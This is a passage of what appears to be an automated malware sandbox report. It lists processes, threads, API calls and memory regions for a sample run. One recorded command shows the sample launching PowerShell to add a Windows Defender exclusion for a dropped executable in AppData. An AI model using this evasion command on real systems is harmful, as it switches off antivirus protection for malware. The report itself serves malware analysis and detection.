ResultLength=0xa59f810*=0x14bf8) returned 0x0 [0208.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x149f8) returned 0x0 [0211.310] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xa59f810 | out: SystemInformation=0x3e3fc80, ResultLength=0xa59f810*=0x149b0) returned 0x0 Thread: id = 10 os_tid = 0x9e0 Thread: id = 11 os_tid = 0x1158 Thread: id = 12 os_tid = 0x1154 Thread: id = 13 os_tid = 0x1128 Thread: id = 14 os_tid = 0x1120 Thread: id = 105 os_tid = 0x11b8 [0211.299] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0211.299] RoInitialize () returned 0x1 [0211.299] RoUninitialize () returned 0x0 [0211.300] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3e3fc80, Length=0x20000, ResultLength=0xae6f790 | out: SystemInformation=0x3e3fc80, ResultLength=0xae6f790*=0x149b0) returned 0x0 Thread: id = 106 os_tid = 0x11b0 Process: id = "2" image_name = "powershell.exe" filename = "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe" page_root = "0x78819000" os_pid = "0x117c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x139c" cmd_line = "\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" Add-MpPreference -ExclusionPath \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Roaming\\rWWREmAZOgElhb.exe\"" cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 557 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 558 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 559 start_va = 0x40000 end_va = 0x54fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 560 start_va = 0x60000 end_va = 0x9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000060000" filename = "" Region: id = 561 start_va = 0xa0000 end_va = 0xdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000a0000" filename = "" Region: id = 562 start_va = 0xe0000 end_va = 0xe3fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000e0000" filename = "" Region: id = 563 start_va = 0xf0000 end_va = 0xf0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000f0000" filename = "" Region: id = 564 start_va = 0x100000 end_va = 0x101fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 565 start_va = 0x260000 end_va = 0x2d0fff monitored = 0 entry_point = 0x269c00 region_type = mapped_file name = "powershell.exe" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe") Region: id = 566 start_va = 0x2e0000 end_va = 0x42dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 567 start_va = 0x4400000 end_va = 0x45fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004400000" filename = "" Region: id = 568 start_va = 0x771d0000 end_va = 0x7734afff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 569 start_va = 0x7ffb0000 end_va = 0x7ffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007ffb0000" filename = "" Region: id = 570 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 571 start_va = 0x7fff0000 end_va = 0x7dfa1676ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 572 start_va = 0x7dfa16770000 end_va = 0x7ffa1676ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007dfa16770000" filename = "" Region: id = 573 start_va = 0x7ffa16770000 end_va = 0x7ffa16930fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 574 start_va = 0x7ffa16931000 end_va = 0x7ffffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00007ffa16931000" filename = "" Region: id = 575 start_va = 0x110000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 576 start_va = 0x640d0000 end_va = 0x6411ffff monitored = 0 entry_point = 0x640e8180 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 577 start_va = 0x64050000 end_va = 0x640c9fff monitored = 0 entry_point = 0x64063290 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 578 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 579 start_va = 0x64120000 end_va = 0x64127fff monitored = 0 entry_point = 0x641217c0 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 580 start_va = 0x4600000 end_va = 0x476ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 581 start_va = 0x76720000 end_va = 0x767fffff monitored = 0 entry_point = 0x76733980 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 582 start_va = 0x76910000 end_va = 0x76a8dfff monitored = 0 entry_point = 0x769c1b90 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 583 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 584 start_va = 0x7feb0000 end_va = 0x7ffaffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007feb0000" filename = "" Region: id = 780 start_va = 0x42e0000 end_va = 0x439dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 781 start_va = 0x20000 end_va = 0x23fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 782 start_va = 0x76600000 end_va = 0x7667afff monitored = 0 entry_point = 0x7661e970 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 783 start_va = 0x76a90000 end_va = 0x76b4dfff monitored = 0 entry_point = 0x76ac5630 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 784 start_va = 0x110000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000110000" filename = "" Region: id = 785 start_va = 0x150000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 786 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 787 start_va = 0x76cb0000 end_va = 0x76cf3fff monitored = 0 entry_point = 0x76cc9d80 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 788 start_va = 0x76c00000 end_va = 0x76cacfff monitored = 0 entry_point = 0x76c14f00 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 789 start_va = 0x73f00000 end_va = 0x73f1dfff monitored = 0 entry_point = 0x73f0b640 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 790 start_va = 0x73ef0000 end_va = 0x73ef9fff monitored = 0 entry_point = 0x73ef2a00 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 791 start_va = 0x76840000 end_va = 0x76897fff monitored = 0 entry_point = 0x768825c0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 792 start_va = 0x74dc0000 end_va = 0x74eaafff monitored = 0 entry_point = 0x74dfd650 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 793 start_va = 0x762b0000 end_va = 0x7646cfff monitored = 0 entry_point = 0x76392a10 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 794 start_va = 0x74ab0000 end_va = 0x74bfefff monitored = 0 entry_point = 0x74b66820 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 795 start_va = 0x743d0000 end_va = 0x74516fff monitored = 0 entry_point = 0x743e1cf0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 796 start_va = 0x76680000 end_va = 0x76711fff monitored = 0 entry_point = 0x766b8cf0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 799 start_va = 0x6c840000 end_va = 0x6c857fff monitored = 0 entry_point = 0x6c844820 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\SysWOW64\\atl.dll" (normalized: "c:\\windows\\syswow64\\atl.dll") Region: id = 800 start_va = 0x6f7d0000 end_va = 0x6f828fff monitored = 1 entry_point = 0x6f7e0780 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll") Region: id = 801 start_va = 0x4770000 end_va = 0x481ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004770000" filename = "" Region: id = 802 start_va = 0x190000 end_va = 0x1b9fff monitored = 0 entry_point = 0x195680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 803 start_va = 0x4820000 end_va = 0x49a7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004820000" filename = "" Region: id = 804 start_va = 0x741b0000 end_va = 0x741dafff monitored = 0 entry_point = 0x741b5680 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 805 start_va = 0x30000 end_va = 0x32fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershell.exe.mui" filename = "\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\en-US\\powershell.exe.mui" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\en-us\\powershell.exe.mui") Region: id = 806 start_va = 0x49b0000 end_va = 0x4b30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000049b0000" filename = "" Region: id = 807 start_va = 0x4b40000 end_va = 0x5f3ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000004b40000" filename = "" Region: id = 810 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 811 start_va = 0x1a0000 end_va = 0x1a0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 812 start_va = 0x5f40000 end_va = 0x60affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f40000" filename = "" Region: id = 817 start_va = 0x6f840000 end_va = 0x6f8bcfff monitored = 1 entry_point = 0x6f850db0 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll") Region: id = 819 start_va = 0x76d00000 end_va = 0x76d44fff monitored = 0 entry_point = 0x76d1de90 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 820 start_va = 0x76d50000 end_va = 0x76d5bfff monitored = 0 entry_point = 0x76d53930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 821 start_va = 0x70650000 end_va = 0x70657fff monitored = 0 entry_point = 0x706517b0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 822 start_va = 0x6f0b0000 end_va = 0x6f790fff monitored = 1 entry_point = 0x6f0dcd70 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll") Region: id = 823 start_va = 0x6efb0000 end_va = 0x6f0a4fff monitored = 0 entry_point = 0x6f004160 region_type = mapped_file name = "msvcr120_clr0400.dll" filename = "\\Windows\\SysWOW64\\msvcr120_clr0400.dll" (normalized: "c:\\windows\\syswow64\\msvcr120_clr0400.dll") Region: id = 1183 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 1184 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1185 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 1186 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 1187 start_va = 0x200000 end_va = 0x20ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 1188 start_va = 0x210000 end_va = 0x21ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 1189 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 1190 start_va = 0x230000 end_va = 0x230fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 1191 start_va = 0x240000 end_va = 0x240fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 1192 start_va = 0x43a0000 end_va = 0x43cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 1193 start_va = 0x5f40000 end_va = 0x606ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f40000" filename = "" Region: id = 1194 start_va = 0x60a0000 end_va = 0x60affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060a0000" filename = "" Region: id = 1195 start_va = 0x4600000 end_va = 0x463ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004600000" filename = "" Region: id = 1196 start_va = 0x4670000 end_va = 0x476ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004670000" filename = "" Region: id = 1197 start_va = 0x4770000 end_va = 0x47affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004770000" filename = "" Region: id = 1198 start_va = 0x4810000 end_va = 0x481ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004810000" filename = "" Region: id = 1199 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1200 start_va = 0x60b0000 end_va = 0x80affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000060b0000" filename = "" Region: id = 1201 start_va = 0x43a0000 end_va = 0x43bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043a0000" filename = "" Region: id = 1202 start_va = 0x43c0000 end_va = 0x43cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043c0000" filename = "" Region: id = 1203 start_va = 0x47b0000 end_va = 0x47effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047b0000" filename = "" Region: id = 1204 start_va = 0x5f40000 end_va = 0x5f7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005f40000" filename = "" Region: id = 1205 start_va = 0x6060000 end_va = 0x606ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006060000" filename = "" Region: id = 1206 start_va = 0x80b0000 end_va = 0x83e6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1207 start_va = 0x6d3e0000 end_va = 0x6e691fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\7582400666d289c016013ad0f6e0e3e6\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\7582400666d289c016013ad0f6e0e3e6\\mscorlib.ni.dll") Region: id = 1208 start_va = 0x83f0000 end_va = 0x855ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000083f0000" filename = "" Region: id = 1227 start_va = 0x250000 end_va = 0x25ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1315 start_va = 0x6ca10000 end_va = 0x6d3dbfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\1be7a15b1f33bf22e4f53aaf45518c77\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\1be7a15b1f33bf22e4f53aaf45518c77\\system.ni.dll") Region: id = 1316 start_va = 0x6e840000 end_va = 0x6ef60fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.core.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\eb4cca4f06a15158c3f7e2c56516729b\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\eb4cca4f06a15158c3f7e2c56516729b\\system.core.ni.dll") Region: id = 1317 start_va = 0x6e7b0000 end_va = 0x6e832fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.consolehost.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Pb378ec07#\\c3373939e7c94b541b901780981fd0cc\\Microsoft.PowerShell.ConsoleHost.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.pb378ec07#\\c3373939e7c94b541b901780981fd0cc\\microsoft.powershell.consolehost.ni.dll") Region: id = 1318 start_va = 0x72c20000 end_va = 0x72c32fff monitored = 0 entry_point = 0x72c29950 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 1319 start_va = 0x6fff0000 end_va = 0x7001efff monitored = 0 entry_point = 0x700095e0 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 1320 start_va = 0x713f0000 end_va = 0x7140afff monitored = 0 entry_point = 0x713f9050 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 1321 start_va = 0x6af80000 end_va = 0x6c835fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.automation.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Manaa57fc8cc#\\ac360ee7d819131e00d9de15ca78e746\\System.Management.Automation.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.manaa57fc8cc#\\ac360ee7d819131e00d9de15ca78e746\\system.management.automation.ni.dll") Region: id = 1322 start_va = 0x5f80000 end_va = 0x5fe1fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscorrc.dll") Region: id = 1323 start_va = 0x43d0000 end_va = 0x43d4fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll" filename = "\\Windows\\SysWOW64\\winnlsres.dll" (normalized: "c:\\windows\\syswow64\\winnlsres.dll") Region: id = 1324 start_va = 0x43e0000 end_va = 0x43effff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "winnlsres.dll.mui" filename = "\\Windows\\SysWOW64\\en-US\\winnlsres.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\winnlsres.dll.mui") Region: id = 1325 start_va = 0x764d0000 end_va = 0x764d5fff monitored = 0 entry_point = 0x764d1460 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 1326 start_va = 0x83f0000 end_va = 0x84effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000083f0000" filename = "" Region: id = 1327 start_va = 0x8550000 end_va = 0x855ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008550000" filename = "" Region: id = 1328 start_va = 0x6e760000 end_va = 0x6e7a4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.numerics.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Numerics\\d3d95e1e349be37505587e7fee918881\\System.Numerics.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.numerics\\d3d95e1e349be37505587e7fee918881\\system.numerics.ni.dll") Region: id = 1329 start_va = 0x43f0000 end_va = 0x43fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000043f0000" filename = "" Region: id = 1330 start_va = 0x6e6e0000 end_va = 0x6e759fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.management.infrastructure.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.Mf49f6405#\\5edeb849552a1a53cfc131825d3f494c\\Microsoft.Management.Infrastructure.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.mf49f6405#\\5edeb849552a1a53cfc131825d3f494c\\microsoft.management.infrastructure.ni.dll") Region: id = 1331 start_va = 0x6a860000 end_va = 0x6af7dfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.xml.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Xml\\4fbda26d781323081b45526da6e87b35\\System.Xml.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.xml\\4fbda26d781323081b45526da6e87b35\\system.xml.ni.dll") Region: id = 1332 start_va = 0x4640000 end_va = 0x464ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004640000" filename = "" Region: id = 1333 start_va = 0x6c8f0000 end_va = 0x6ca0cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.directoryservices.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Dired13b18a9#\\883582fb4e073bf0dfad214569e4200f\\System.DirectoryServices.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.dired13b18a9#\\883582fb4e073bf0dfad214569e4200f\\system.directoryservices.ni.dll") Region: id = 1334 start_va = 0x6a740000 end_va = 0x6a85cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Management\\98d3949f9ba1a384939805aa5e47e933\\System.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.management\\98d3949f9ba1a384939805aa5e47e933\\system.management.ni.dll") Region: id = 1335 start_va = 0x4650000 end_va = 0x465ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004650000" filename = "" Region: id = 1336 start_va = 0x4660000 end_va = 0x466ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004660000" filename = "" Region: id = 1337 start_va = 0x47f0000 end_va = 0x47fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000047f0000" filename = "" Region: id = 1338 start_va = 0x4800000 end_va = 0x480ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000004800000" filename = "" Region: id = 1339 start_va = 0x5ff0000 end_va = 0x5ffffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000005ff0000" filename = "" Region: id = 1340 start_va = 0x6000000 end_va = 0x600ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006000000" filename = "" Region: id = 1341 start_va = 0x6010000 end_va = 0x601ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006010000" filename = "" Region: id = 1342 start_va = 0x6020000 end_va = 0x602ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006020000" filename = "" Region: id = 1343 start_va = 0x6030000 end_va = 0x603ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006030000" filename = "" Region: id = 1345 start_va = 0x6040000 end_va = 0x604ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000006040000" filename = "" Thread: id = 15 os_tid = 0x1184 Thread: id = 26 os_tid = 0x1198 Thread: id = 102 os_tid = 0x11a4 Thread: id = 103 os_tid = 0x11b4 Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x63d47000" os_pid = "0x118c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x117c" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fa87" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 603 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 604 start_va = 0x30000 end_va = 0x44fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 605 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 606 start_va = 0x200000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 607 start_va = 0x400000 end_va = 